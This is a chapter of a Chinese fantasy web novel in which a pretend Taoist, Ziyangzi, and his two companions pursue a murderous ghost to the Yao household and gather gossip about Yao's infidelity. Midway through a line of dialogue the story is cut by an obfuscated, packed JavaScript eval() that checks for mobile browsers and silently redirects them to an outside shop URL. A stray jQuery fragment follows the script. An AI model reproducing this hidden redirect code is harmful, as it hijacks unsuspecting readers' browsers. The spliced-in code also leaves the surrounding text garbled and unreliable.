几个行人就在眼皮子底下被害,三人一时之间都各自无言。
紫阳子手捂着眼睛,只露出一条缝:“哎呀呀,这死得也太惨了。今夜果然不该来,这世上哪有什么不害人的恶鬼,不是不害,只是时候未到。瞧瞧,一下子五条人命,倒是把他喂饱了。”
卫执衡攥着拳头,咬牙挤出两个字:“可恶!”
赵舒行扬手把剑怕抛给卫执衡。夜风习习,吹得她早已凌乱的长发直往脸上呼。
“嘶啦”一声,她一语不发在袍袖处撕出布条咬在嘴上,抬手随意束了个发,用布条扎紧,露出素净的面庞,说不出哪里绝色,但就是夺目到吸引人的注意力。
她偏过头,卫执衡以为她会像平常一样扑到自己身上撒娇,却不料她只是站在原地,距离他三个身位的方向,笑眼弯弯道:“事已至此,那我们走吧。”
这是自相识以来二人相距最远的距离。
紫阳子拂尘一甩,又摆出了得道高人的架势:“二位,相逢即是缘,缘来缘去皆是空,贫道与二位就此别过,后会无期!”
说完也不管那俩人什么反应,转身扬长而去,结果迈开的步子还没落地,衣领就被揪住了,害得他身子后仰,险些趔趄而倒,他视线往上瞟,只见是赵舒行放大数倍的如沐春风的笑脸:
“道长,您这是准备去哪儿啊?”
“事情都结束了,当然是各回各家了。”
赵舒行拎着他往前一扯:“哟,您管这叫结束了?你这一百两银子未免也太好赚了。”
紫阳子略一思忖,掏出袖子里的银票:“给你给你,老子不要了,再待下去搞不好小命都要丢在这里,五十两定金给你,你放我走行不?”
“不行!你得跟着我们把这事办成了才能走。”她顿了顿,道,“那恶鬼往哪儿跑了?”
紫阳子被她拎着后衣领,身子僵直斜斜地半倒,脚后跟着地,此时四肢激烈地挣扎起来:“我怎么知道往哪儿跑了!你太看得起我了,其实我都是骗你们的,我根本不是什么厉害的仙师,我就是个自学了点皮毛的十八流小道士,哎呦姑奶奶我求您了!我根本就帮不了你们什么!”
卫执衡将几具尸首拉到一边,见状柔声道:“赵姑娘,既然大师不愿意,我们又何必强行留他呢,就让他走吧,接下来我们好好计划一番,我也自会请厉害的仙师前来相助。”
赵舒行对他绽放了个甜美的笑容:“卫公子,他可不是啥也不会的野道士,当时恶鬼消失的时候,他眼珠子还在转呢。你放心,卫公子,他这型号的人我最是了解,就是纯粹的欠揍。”说着对着他脑袋梆梆来了两拳,揍得紫阳子眼冒金星,放声嚎叫:
“我说我说,你别打了!那那那,那边!”他抬手指向东南方,趁隙一溜烟钻出了赵舒行的挟制,边垂首整理发型、衣襟,边道:“我瞧着应该是往……”
“姚府。”
赵舒行接上了他的后话,紫阳子动作一滞,片刻后怒道:“你都知道还问我干什么!”
赵舒行:“我那是凭直觉,万一不准呢?别啰唆了,赶紧的吧。”
紫阳子觉得赵舒行逮自己逮上了头,才一会儿功夫那手便又朝自己而来,急忙躲到卫执衡身后,求饶道:“我说姑奶奶,您能别逮着我一个人薅吗?急也没用,这天都亮了。”
卫执衡下意识望去,果然见天边浮云后隐隐透着霞光。
赵舒行眨巴着大眼睛:“不逮你逮谁,卫公子吗?卫公子又不跑。”
紫阳子心说:对对对,卫公子大义凛然,只有我贪生怕死。
最终狠狠心一跺脚:“我不跑总行了吧!那你要保证保护好我!”又附到卫执衡耳边悄声说:“卫公子,你好好看看这个人的嘴脸,她惯会伪装,私下里根本不是你以为的那样,狡诈得很,坏透了!”
卫执衡不以为意,挤进二人中间,本意是为了阻止他们吵嘴,没一会儿便觉得这两人是鹦鹉转世,吵得脑瓜子疼。
抵达姚府之时已是卯时。
刚打开大门便撞上了迎面而来的姚家夫妇,只见二人神色慌张地疾步上前,姚茂源焦急的声音老远就传了过来:“三位情况如何了?”
卫执衡摇摇头:“那恶鬼今夜突袭,已连害五人,这口子一开,恐怕今后的祸端便会没完没——”
只听砰的一声,竟是后面的姚夫人一头栽倒在地。
正在所有人向姚夫人围聚的时候,赵舒行又听到了“叮”的一声,仿佛针掉落在地,极其隐秘,转瞬即逝。
“夫人!”姚茂源忙扶起她,只见她惨白的脸上竟已呈现黑色,颤声道:“夫君,这可如何是好?”
三人皆是一怔,没想到这消息会让她害怕到这种程度,登时收了声,把原本要告知的“鬼祟朝了这里而来”这件事咽了下去。
姚茂源忧心忡忡地问:“三位可有解决之道?若能彻底解决此事,我姚某人宁愿倾家荡产也在所不惜!”
卫执衡内心思绪纷飞:唯有赶紧联系上师父,但师父向来行踪不定……
此时赵舒行抢步上前:“办法自然是有的,紫阳子大师有独门秘技,二位只管静候。”
拥有“独门秘技”的紫阳子:“什么?!我吗?!”眼角余光一瞥赵舒行的眼色,“对……好像是。”就这么硬着头皮应了下来。
又婉转劝解了几句,几人各自回房。紫阳子径直进了自己房间,门关了一半又转身对二人嘱咐道:“我要睡个养生觉!不许吵我!”说完门被重重地关上。
然而,这个养生觉注定是睡不安生的。
彼时他正睡得云里雾里,潜意识好像又一片阴影罩了下来,常年漂泊经历练出来的警觉心让他猛地睁开眼睛,登时与不速之客来了个大眼瞪大眼——
空气死寂了数息后,他默默地拉上被子眼不见为净:以为见鬼了,现在还不如见鬼!
哪知被子刚拉到下巴就被“唰”一下掀飞,赵舒行坐在床沿不发一语,只是笑吟吟看着他,看得他汗毛直立,抖抖擞擞爬起来环抱只穿中衣的自己,往角落里钻:
“你个疯女人到底想干什么!我对你没兴趣!”
赵舒行不悦地皱眉:“谁说对你感兴趣了?长得跟女子似的。你哪点比得上卫公子了?”
他讨理不成反被羞辱更气了:“那你私闯我房间干什么?!”
赵舒行起身把被子往他身上一扔:“穿上你那身紫得要死的外袍跟我走。”
紫阳子骂骂咧咧地照做,随后狐疑地跟她出门了。
结果这不出门还好,一出门悔得他肠子都青了,脸上的两行清泪从上了街起就没干过。
成衣铺的店主瞅一眼这富贵的两人,犹犹豫豫地悄声问赵舒行:“这位小道士怎么了?”
赵舒行低头理了理新换上的新衣,叫人把原先那身华服递给紫阳子,而后头也不抬地回道:“他这人就这样,过会儿就好了。”理好衣襟,又冲后面唤道,“紫大师,结账。”
于是这位紫衣道长在店里众人的注视下,眼泪流得更凶了。
店主在柜台内侧不住地张望,似乎还有未完的话,犹豫再三之后终于开口:“这位道长可知晓昨夜发生的事?”
赵舒行与紫阳子对视一眼,示意他继续,只听得店主叹息一声道:“就在喜乐居前头的街上,竟躺了五具尸首!死状惨烈,又听闻住在附近的人说昨夜就听到异响,定是那喜乐居的恶鬼跑出来害人了。这可怎么是好?如今玄门式微,自从那凌云宗没了后,我等百姓都不知去何处寻仙师……不知这位道长可愿意出力——”
在店主低喃的时候,紫阳子逐渐转换了表情,昂首挺胸摆出高人的姿势,只待对方话毕就伸出早已准备好的一只手掌:“只需二十两……”
但是赵舒行让他闭嘴的动作更快,先他一步捂住他的嘴:“您别看他这身穿着,其实就是为了好看,他是个假道士。不过晚上确实危险,还是别出门为好。”
店主一边点头赞同一边还在不死心地盯着紫阳子。
赵舒行心思一动,状似无异与那店主攀谈了起来:“掌柜的,我们从外地经过此地,此前听说喜乐居热闹得紧,这怎么突然又闹鬼了呢?”
店主见她在自己店里花了不少钱,也爽快地道:“谁知道呢?倒霉呗。不过我觉得可能是招了什么脏东西。”
“脏东西?”赵舒行来了兴趣。
店主四下打量一番,凑近了压低声音道:“这姓姚的不检点呀,你刚来一定不知道,他从前就是个穷小子,全靠他妻子扶持才有了今天。结果呢,一有钱就变坏,朝三暮四到处拈花惹草,光是府里纳的妾一只手都数不过来了,更别提外面风月场所那些莺莺燕燕的,真是男人之耻!
谁知道那鬼祟是不是他惹的风流债,人家死不瞑目化了鬼来找他索命!要不然为什么只在他的酒楼不去别的地方呢?”
赵舒行连连点头:“掌柜的说得有道理,看来您一定是个专情不二的人。”
店主笑道:“不敢当不敢当,那是男人的本分。”
赵舒行又问:“那他的妻子是个什么样的人?遭此背叛一定心生怨恨吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744180|209199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
“还真没有!”店主斩钉截铁道,“姚夫人也是个苦命的人啊,遇人不淑。可是她从没有抱怨,反而将后院的莺莺燕燕安排得井井有条,真是女人中的楷模,贤妻中的贤妻啊。”
店主叹口气,又道:“为此,姚夫人还受了不少气,就我们这些外人都快看不过去了,那几个女人天天打扮得花枝招展的,只顾吃喝玩乐不务正事,私下里几次三番地嘲笑姚夫人人老珠黄,真是可恨!结果喜乐居闹鬼之事一出,还不是大难临头各自飞了,只有姚夫人不离不弃,甚至把自己的嫁妆都贴进去了。”
店主最后加了一句:“有妻如此,夫复何求啊。姓姚的身在福中不知福啊!”
二人一前一后离开店铺走在街上,紫阳子看着自己身上挂的满满当当的货物,死死瞪着眼前这个恨不得把自己钱袋掏个精光,此时大摇大摆的人,心中有苦难言。
赵舒行想的却是方才成衣铺店主的一番话,心说这世上竟真有如此豁达的女子。那她到底爱不爱他呢?
若是爱,她却能忍受和别的女人分享自己的丈夫;若是不爱,却又愿意陪他同甘共苦,不离不弃。
正想得投入,良久才发现背后那道灼热的就快把自己烧出洞来的视线,便退后两步与他并行走,并呈上灿烂笑容。
但在紫阳子的眼中,此人的笑是没有节操的符号,那眼中闪烁的狡黠分明又在谋划什么诡计!
脑补了一番大戏后,他咬牙切齿地道:“卫执衡有钱,他愿意为你花钱,你为什么不找他,而要来找我这个命苦的?”
赵舒行诚恳地道:“我跟卫公子萍水相逢无亲无故的,哪能老是让他花钱,那也显得我太不要脸了。道长兄,你别生气,这点银子,以后我定加倍还你。”
紫阳子莫名嗅到了一丝危险意味:瞅你先前那挂在人身上下不来的劲儿,竟也会反思?不正常!
***
卫执衡今日照旧没睡踏实,用过午膳后就在院中的青石方桌边坐了好半晌,赵舒行和紫阳子早已不见人影。
他从自己的行囊里搜刮出一堆符箓,正头疼如何能联系上悠哉散人。
师父远在天边,恶鬼却极有可能会在短时间内再度现身。
“卫公子!”
正愁眉苦脸地倒腾着,耳边传来熟悉的声音,他一转头便见二人晃晃悠悠地转了回来,一人依旧是紫得妖娆,而另一人……
一身月灰窄袖交领短袄,外罩浅青无袖长坎,墨色宽绦束腰,衣衫利落无半分累赘,飒爽英姿令人眼前一亮。
与他印象里的她判若两人,但又莫名觉得这就是真实的她,只是心中陡然升起一丝失落感。
赵舒行老远就瞧见满桌子的黄纸,扬眉笑道:“卫公子,又在苦心钻研了?”
想起前夜她持剑大杀四方的模样,他顿时泄了气,自嘲道:“再苦心又有何用,还不是无用功。”
赵舒行拿起符纸前后翻看,见上面图形眼熟,貌似与季沐风那些无甚区别,但确实只是普通的纸张。
“卫公子何必妄自菲薄,人人皆有长处,也许你的长处不在修习之处。你想啊,有人擅挥毫泼墨,有人擅操戈执刃;有人能骑善射,有人能吟能赋。
世上道路千千万,何必在一棵树上吊死?卫公子你就是太较真了,以你的才能换条道路必能大放异彩。”
见他俊郎的脸上忧喜参半,她收起那一叠符推给紫阳子,再从紫阳子身上挂着的琳琅满目中取下一个食盒:“甘酥房的椒盐金饼,排了好久的队才买到的,快尝尝。”
打开食盒,咸香味顿时扑鼻而来。
想到自己一个大男人还不如人家姑娘家洒脱,卫执衡顿觉又羞又臊,一时什么烦闷都扫空了,嘴里品着佳肴,一抬头又撞进对方通透的眼神,耳根又不自觉地红了起来。
他知道,他喜欢她看着自己。
揣摩着内心那陌生却让人欲罢不能的小心思,他轻声道:“你不吃吗?”
赵舒行托着腮笑盈盈道:“我刚才路上吃过了,现在就想看着你吃。”
事实上,她嫌吃啥都是苦味,索性决定看着别人吃,再通过对方的表情来想象食物的味道。
二人都没注意到,一旁的紫阳子一改先前的丧气,视线若有所思地在他们身上转来转去,看出了几分意思来。
他眉飞色舞地下:这若是放在戏本子里,此情此景,此郎才女貌,不得演上个几场让人春心萌动。可惜呀——
良久他突然无声地摇头叹气:唉,这人傻钱多的小子算是完喽。